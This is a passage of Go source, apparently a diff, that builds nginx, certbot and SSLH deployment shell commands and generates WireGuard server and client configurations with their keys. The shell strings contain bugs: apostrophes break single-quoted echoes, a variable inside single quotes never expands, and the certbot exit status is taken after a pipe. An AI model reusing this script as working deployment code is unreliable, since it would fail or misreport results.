" echo 'SUCCESS: HTTP serves demo page'",
" HTTP_VERIFIED=true",
" break",
" elif echo \"$HTTP_CONTENT\" | grep -qi 'Welcome to nginx'; then",
" echo 'ERROR: HTTP still serving default nginx page!'",
" echo 'Enabled sites:'",
" ls -la /etc/nginx/sites-enabled/ || true",
" [ -f /etc/nginx/sites-enabled/default ] && echo 'ERROR: default still enabled!' || echo 'default removed'",
" [ -f /etc/nginx/conf.d/default.conf ] && echo 'ERROR: conf.d/default.conf exists!' || echo 'conf.d/default.conf removed'",
" exit 1",
" fi",
" sleep 2",
"done",
"[ \"$HTTP_VERIFIED\" = false ] && { echo 'ERROR: HTTP demo page verification failed!'; exit 1; }",
"echo '=== Verifying HTTPS serves demo page ==='",
"HTTPS_VERIFIED=false",
"for i in 1 2 3 4 5; do",
" HTTPS_CONTENT=$(curl -k -s https://127.0.0.1:8444/ 2>/dev/null)",
" if echo \"$HTTPS_CONTENT\" | grep -q 'Demo app page'; then",
" echo 'SUCCESS: HTTPS serves demo page'",
" HTTPS_VERIFIED=true",
" break",
" elif echo \"$HTTPS_CONTENT\" | grep -qi 'Welcome to nginx'; then",
" echo 'ERROR: HTTPS still serving default nginx page!'",
" exit 1",
" fi",
" sleep 2",
"done",
"[ \"$HTTPS_VERIFIED\" = false ] && { echo 'ERROR: HTTPS demo page verification failed!'; exit 1; }",
"echo '=== Obtaining Let's Encrypt certificates (if email provided) ==='",
func() string {
if letsencryptEmail == "" {
return "echo 'No Let's Encrypt email provided, skipping certificate generation'"
}
// Build domain list for certbot - include root domain and ALL subdomains
// This ensures certificates cover all services (SSH, SMB, LDAP, etc.)
domains := []string{domain} // Always include root domain
domainSet := make(map[string]bool)
domainSet[domain] = true
// Add all subdomains from services
for _, svc := range svcList {
if svc.Subdomain != "" {
fqdn := svc.Subdomain + "." + domain
if !domainSet[fqdn] {
domains = append(domains, fqdn)
domainSet[fqdn] = true
}
}
}
// Build certbot command with all domains
certbotDomains := ""
domainList := ""
for i, d := range domains {
if i > 0 {
certbotDomains += " "
domainList += ", "
}
certbotDomains += "-d " + d
domainList += d
}
// Debug: Show which domains will be included
domainDebugList := ""
for i, d := range domains {
if i > 0 {
domainDebugList += ", "
}
domainDebugList += d
}
return fmt.Sprintf(`if [ -n '%s' ]; then
echo '=== Obtaining Let's Encrypt certificate ==='
echo 'Domains to include in certificate: %s'
echo 'Certbot command will be: certbot certonly --webroot -d %s'
echo 'Verifying nginx is running before certbot...'
systemctl is-active --quiet nginx || systemctl start nginx || exit 1
sleep 2
mkdir -p /var/www/html/.well-known/acme-challenge
chown -R www-data:www-data /var/www/html/.well-known 2>/dev/null || chown -R nginx:nginx /var/www/html/.well-known 2>/dev/null || true
chmod -R 755 /var/www/html/.well-known 2>/dev/null || true
nginx -t || exit 1
echo 'Waiting for DNS propagation (30 seconds)...'
sleep 30
echo 'Running certbot for ALL domains: %s'
echo 'Command: certbot certonly --webroot -n --agree-tos -m '%s' %s -w /var/www/html'
sudo certbot certonly --webroot -n --agree-tos -m '%s' %s -w /var/www/html --keep-until-expiring 2>&1 | tee /tmp/certbot-output.log
CERTBOT_EXIT=$?
echo 'Certbot exit code: $CERTBOT_EXIT'
if [ $CERTBOT_EXIT -eq 0 ]; then
CERT_DIR=$(sudo certbot certificates 2>/dev/null | grep -A 5 'Certificate Name:' | grep 'Certificate Path:' | head -1 | awk '{print $3}' | xargs dirname 2>/dev/null || echo '')
if [ -z "$CERT_DIR" ]; then
CERT_DIR="/etc/letsencrypt/live/%s"
fi
echo "Certificate directory: $CERT_DIR"
if [ -f "$CERT_DIR/fullchain.pem" ] || [ -f /etc/letsencrypt/live/%s/fullchain.pem ]; then
CERT_PATH="$CERT_DIR/fullchain.pem"
KEY_PATH="$CERT_DIR/privkey.pem"
if [ ! -f "$CERT_PATH" ]; then
CERT_PATH="/etc/letsencrypt/live/%s/fullchain.pem"
KEY_PATH="/etc/letsencrypt/live/%s/privkey.pem"
fi
echo "Using certificate: $CERT_PATH"
echo "Using key: $KEY_PATH"
cat > /tmp/sslh-proxy-letsencrypt.conf <<EOF
server {
listen 127.0.0.1:8444 ssl http2 default_server;
server_name _;
ssl_certificate $CERT_PATH;
ssl_certificate_key $KEY_PATH;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
root /var/www/demo;
index index.html;
location / {
try_files $uri $uri/ =404;
}
}
EOF
mv /tmp/sslh-proxy-letsencrypt.conf /etc/nginx/sites-available/sslh-proxy
chmod 644 /etc/nginx/sites-available/sslh-proxy
chmod 644 "$CERT_PATH" 2>/dev/null || true
chmod 640 "$KEY_PATH" 2>/dev/null || true
chown root:root "$CERT_PATH" "$KEY_PATH" 2>/dev/null || true
usermod -a -G ssl-cert www-data 2>/dev/null || usermod -a -G ssl-cert nginx 2>/dev/null || true
chmod 755 "$(dirname "$CERT_PATH")" /etc/letsencrypt/live/ 2>/dev/null || true
echo 'Verifying certificate details...'
openssl x509 -in "$CERT_PATH" -noout -text 2>/dev/null | grep -A 1 'Subject Alternative Name' || true
nginx -t && systemctl reload nginx && sleep 2 || systemctl restart nginx
echo 'Let's Encrypt certificate installed successfully'
else
echo 'ERROR: Certificate file not found after certbot success!'
echo 'Checking certbot certificates:'
sudo certbot certificates 2>&1 | head -30
echo 'Checking Let's Encrypt directories:'
ls -la /etc/letsencrypt/live/ 2>/dev/null || echo 'No live certificates found'
fi
else
echo 'ERROR: Certbot failed!'
echo 'Certbot output:'
cat /tmp/certbot-output.log 2>/dev/null || echo 'No certbot output log found'
echo 'This may be due to DNS propagation delays or ACME challenge failures.'
echo 'Certificate will need to be obtained manually or retried later.'
fi
fi`, letsencryptEmail, domainDebugList, certbotDomains, domainDebugList, letsencryptEmail, letsencryptEmail, certbotDomains, domain, domain, domain, domain)
}(),
"echo '=== Waiting for all backend services to be ready ==='",
"for i in 1 2 3 4 5; do ss -tlnp | grep -q ':22 ' && ss -tlnp | grep -q ':8444 ' && ss -tlnp | grep -q ':445 ' && break || sleep 2; done",
"echo '=== Verifying nginx is ready for SSLH ==='",
"for i in 1 2 3 4 5; do",
" if ss -tlnp | grep ':8444 ' | grep -q nginx && curl -k -s https://127.0.0.1:8444/ 2>/dev/null | grep -q 'Demo app page'; then",
" echo 'Nginx is ready on 8444'",
" break",
" fi",
" if [ $i -eq 5 ]; then",
" echo 'ERROR: Nginx not ready on 8444!'",
" ss -tlnp | grep ':8444 ' || echo 'Port 8444 not listening'",
" systemctl status nginx --no-pager | head -10",
" exit 1",
" fi",
" sleep 2",
"done",
"echo '=== Verifying SSLH config file exists and is valid ==='",
"test -f /etc/sslh.cfg || { echo 'ERROR: SSLH config file missing!'; ls -la /etc/sslh* 2>/dev/null; exit 1; }",
"test -s /etc/sslh.cfg || { echo 'ERROR: SSLH config file is empty!'; exit 1; }",
"echo '=== SSLH Config File Size ==='",
"wc -l /etc/sslh.cfg",
"echo '=== SSLH Config File Contents (first 50 lines) ==='",
"head -50 /etc/sslh.cfg",
"echo '=== Validating SSLH config syntax ==='",
"sslh -F /etc/sslh.cfg -v 1 -f -t 2>&1 || { echo 'ERROR: SSLH config validation failed!'; echo 'Full config:'; cat /etc/sslh.cfg; exit 1; }",
"echo '=== Verifying TLS route in SSLH config ==='",
"grep -q 'name: \"tls\"' /etc/sslh.cfg || { echo 'ERROR: TLS route not found in SSLH config!'; exit 1; }",
"TLS_ROUTE_COUNT=$(grep -c 'name: \"tls\"' /etc/sslh.cfg || echo '0')",
"echo \"Found $TLS_ROUTE_COUNT TLS route(s) in config\"",
"grep -A 10 'name: \"tls\"' /etc/sslh.cfg | grep -q 'port: \"8444\"' || { echo 'ERROR: TLS route not pointing to port 8444!'; echo 'TLS routes found:'; grep -A 10 'name: \"tls\"' /etc/sslh.cfg; exit 1; }",
"echo '=== Verifying protocol order (TLS before SSH) ==='",
"TLS_LINE=$(grep -n 'name: \"tls\"' /etc/sslh.cfg | head -1 | cut -d: -f1)",
"SSH_LINE=$(grep -n 'name: \"ssh\"' /etc/sslh.cfg | head -1 | cut -d: -f1)",
"if [ -n \"$TLS_LINE\" ] && [ -n \"$SSH_LINE\" ] && [ \"$TLS_LINE\" -lt \"$SSH_LINE\" ]; then",
" echo 'Protocol order correct: TLS before SSH'",
"else",
" echo 'WARNING: Protocol order may be incorrect. TLS should come before SSH.'",
"fi",
"echo '=== Starting SSLH service ==='",
"systemctl stop sslh 2>/dev/null || true",
"pkill -9 sslh sslh-select 2>/dev/null || true",
"ss -tlnp | grep -q ':443 ' && fuser -k 443/tcp 2>/dev/null || true",
"sleep 2",
"systemctl daemon-reload",
"systemctl enable sslh",
"systemctl restart sslh",
"sleep 5",
"systemctl is-active --quiet sslh || { echo 'ERROR: SSLH service failed to start!'; systemctl status sslh --no-pager; journalctl -u sslh -n 20 --no-pager; exit 1; }",
"ss -tlnp | grep -q ':443 ' || { echo 'ERROR: SSLH not listening on port 443!'; ss -tlnp | grep ':443 '; exit 1; }",
"echo '=== Verifying SSLH can reach nginx ==='",
"for i in 1 2 3 4 5; do",
" if timeout 2 bash -c '</dev/tcp/127.0.0.1/8444' 2>/dev/null; then",
" echo 'SSLH can reach nginx on 8444'",
" break",
" fi",
" if [ $i -eq 5 ]; then",
" echo 'ERROR: SSLH cannot reach nginx on 8444!'",
" ss -tlnp | grep ':8444 '",
" systemctl status nginx --no-pager | head -10",
" exit 1",
" fi",
" sleep 1",
"done",
"echo '=== Testing SSLH TLS routing ==='",
"echo 'Testing direct connection to SSLH on port 443...'",
"timeout 3 bash -c '</dev/tcp/127.0.0.1/443' 2>/dev/null && echo 'Port 443 is reachable' || echo 'WARNING: Port 443 not reachable'",
"TLS_ROUTING_WORKING=false",
"for i in 1 2 3 4 5; do",
" echo \"TLS routing test attempt $i/5...\"",
" TLS_TEST=$(timeout 10 bash -c 'echo | openssl s_client -connect 127.0.0.1:443 -servername chaosengineering.cc 2>&1' 2>/dev/null)",
" if echo \"$TLS_TEST\" | grep -q 'CONNECTED'; then",
" if echo \"$TLS_TEST\" | grep -q 'Verify return code: 0'; then",
" echo 'SSLH TLS routing test passed (certificate valid)'",
" elif echo \"$TLS_TEST\" | grep -q 'Verify return code:'; then",
" echo 'SSLH TLS routing test passed (certificate self-signed, but connection works)'",
" else",
" echo 'SSLH TLS routing test passed (connection established)'",
" fi",
" TLS_ROUTING_WORKING=true",
" break",
" fi",
" sleep 2",
"done",
"[ \"$TLS_ROUTING_WORKING\" = false ] && { echo 'ERROR: SSLH TLS routing test failed!'; echo 'Testing direct nginx connection:'; timeout 3 bash -c 'echo | openssl s_client -connect 127.0.0.1:8444 -servername localhost 2>&1' | head -20; echo 'SSLH config TLS route:'; grep -A 10 'name: \"tls\"' /etc/sslh.cfg | head -15; echo 'SSLH logs:'; journalctl -u sslh -n 30 --no-pager; exit 1; }",
"systemctl is-active --quiet nginx && ss -tlnp | grep -q ':8444 ' && systemctl is-active --quiet sslh && ss -tlnp | grep -q ':443 ' && curl -s http://127.0.0.1:80/ 2>/dev/null | grep -q 'Demo app page' && curl -k -s https://127.0.0.1:8444/ 2>/dev/null | grep -q 'Demo app page' && echo 'Deployment ready' || echo 'Some verifications failed'",
}
return commands
}
func generateNginxSSLHProxyConfig() string {
return `# Default server for root domain (HTTPS on port 443 via SSLH)
# Certbot will update this configuration with Let's Encrypt certificates if email is provided
server {
listen 127.0.0.1:8444 ssl http2 default_server;
server_name _;
ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers HIGH:!aNULL:!MD5;
root /var/www/demo;
index index.html;
location / {
try_files $uri $uri/ =404;
}
}
`
}
func generateNginxACMEConfig() string {
return `# HTTP server for Let's Encrypt ACME challenge
# This must be the default_server on port 80 to handle all HTTP requests
server {
listen 0.0.0.0:80 default_server;
listen [::]:80 default_server;
server_name _;
# Serve ACME challenge for Let's Encrypt
# Certbot webroot plugin writes files here for HTTP-01 validation
location /.well-known/acme-challenge/ {
root /var/www/html;
default_type "text/plain";
# Allow certbot to write files here
access_log off;
}
# For root domain, serve demo page on HTTP (before HTTPS redirect)
# This allows initial access while certificates are being obtained
location / {
root /var/www/demo;
try_files $uri $uri/ /index.html;
}
}
`
}
func generateDemoPageHTML() string {
return `<!DOCTYPE html>
<html>
<head>
<title>Demo App Page</title>
<meta charset="utf-8">
<style>
body {
font-family: Arial, sans-serif;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
color: white;
}
.container {
text-align: center;
padding: 2rem;
background: rgba(255, 255, 255, 0.1);
border-radius: 10px;
backdrop-filter: blur(10px);
}
h1 {
margin: 0;
font-size: 3rem;
}
</style>
</head>
<body>
<div class="container">
<h1>Demo app page</h1>
</div>
</body>
</html>
`
}

View File

@@ -0,0 +1,90 @@
package wireguard
import (
"fmt"
"os"
"path/filepath"
)
type ClientProfile struct {
OS string
Architecture string
ConfigContent string
ConfigPath string
}
func GenerateClientProfiles(serverConfig *ServerConfig, serverIP string, count int) ([]ClientProfile, error) {
var profiles []ClientProfile
platforms := []struct {
OS string
Architecture string
}{
{"linux", "amd64"},
{"linux", "arm64"},
{"darwin", "amd64"},
{"darwin", "arm64"},
{"windows", "amd64"},
}
numProfiles := count
if numProfiles <= 0 {
numProfiles = len(platforms)
}
for i := 0; i < numProfiles; i++ {
platform := platforms[i%len(platforms)]
clientPrivateKey, clientPublicKey, err := GenerateClientKeyPair()
if err != nil {
return nil, fmt.Errorf("failed to generate client key pair: %w", err)
}
clientAddress := fmt.Sprintf("10.0.0.%d/24", i+2)
clientConfig := GenerateClientConfig(
serverIP,
serverConfig.Port,
serverConfig.PublicKey,
clientPrivateKey,
clientPublicKey,
clientAddress,
"0.0.0.0/0",
)
profile := ClientProfile{
OS: platform.OS,
Architecture: platform.Architecture,
ConfigContent: clientConfig.ToConfigFile(),
}
profiles = append(profiles, profile)
}
return profiles, nil
}
func SaveClientProfile(profile ClientProfile, outputDir string) (string, error) {
if err := os.MkdirAll(outputDir, 0755); err != nil {
return "", fmt.Errorf("failed to create output directory: %w", err)
}
var filename string
switch profile.OS {
case "darwin":
filename = fmt.Sprintf("wg-%s-%s.conf", profile.OS, profile.Architecture)
case "linux":
filename = fmt.Sprintf("wg-%s-%s.conf", profile.OS, profile.Architecture)
case "windows":
filename = fmt.Sprintf("wg-%s-%s.conf", profile.OS, profile.Architecture)
default:
filename = fmt.Sprintf("wg-%s-%s.conf", profile.OS, profile.Architecture)
}
configPath := filepath.Join(outputDir, filename)
if err := os.WriteFile(configPath, []byte(profile.ConfigContent), 0600); err != nil {
return "", fmt.Errorf("failed to write client config: %w", err)
}
return configPath, nil
}

View File

@@ -0,0 +1,102 @@
package wireguard
import (
"crypto/rand"
"encoding/base64"
"fmt"
"golang.org/x/crypto/curve25519"
)
type ServerConfig struct {
PrivateKey string
PublicKey string
Port int
Interface string
Address string
}
type ClientConfig struct {
PrivateKey string
PublicKey string
Address string
ServerIP string
ServerPort int
ServerPublicKey string
AllowedIPs string
Endpoint string
}
func GenerateServerConfig(port int, interfaceName, address string) (*ServerConfig, error) {
privateKey, publicKey, err := generateKeyPair()
if err != nil {
return nil, fmt.Errorf("failed to generate key pair: %w", err)
}
return &ServerConfig{
PrivateKey: privateKey,
PublicKey: publicKey,
Port: port,
Interface: interfaceName,
Address: address,
}, nil
}
func (sc *ServerConfig) ToConfigFile() string {
return fmt.Sprintf(`[Interface]
PrivateKey = %s
Address = %s
ListenPort = %d
`, sc.PrivateKey, sc.Address, sc.Port)
}
func GenerateClientConfig(serverIP string, serverPort int, serverPublicKey, clientPrivateKey, clientPublicKey, clientAddress, allowedIPs string) *ClientConfig {
return &ClientConfig{
PrivateKey: clientPrivateKey,
PublicKey: clientPublicKey,
Address: clientAddress,
ServerIP: serverIP,
ServerPort: serverPort,
ServerPublicKey: serverPublicKey,
AllowedIPs: allowedIPs,
Endpoint: fmt.Sprintf("%s:%d", serverIP, serverPort),
}
}
func (cc *ClientConfig) ToConfigFile() string {
return fmt.Sprintf(`[Interface]
PrivateKey = %s
Address = %s
[Peer]
PublicKey = %s
Endpoint = %s
AllowedIPs = %s
PersistentKeepalive = 25
`, cc.PrivateKey, cc.Address, cc.ServerPublicKey, cc.Endpoint, cc.AllowedIPs)
}
func generateKeyPair() (string, string, error) {
var privateKey [32]byte
if _, err := rand.Read(privateKey[:]); err != nil {
return "", "", fmt.Errorf("failed to generate private key: %w", err)
}
privateKey[0] &= 248
privateKey[31] &= 127
privateKey[31] |= 64
var publicKey [32]byte
curve25519.ScalarBaseMult(&publicKey, &privateKey)
privateKeyBase64 := base64.StdEncoding.EncodeToString(privateKey[:])
publicKeyBase64 := base64.StdEncoding.EncodeToString(publicKey[:])
return privateKeyBase64, publicKeyBase64, nil
}
func GenerateClientKeyPair() (string, string, error) {
return generateKeyPair()
}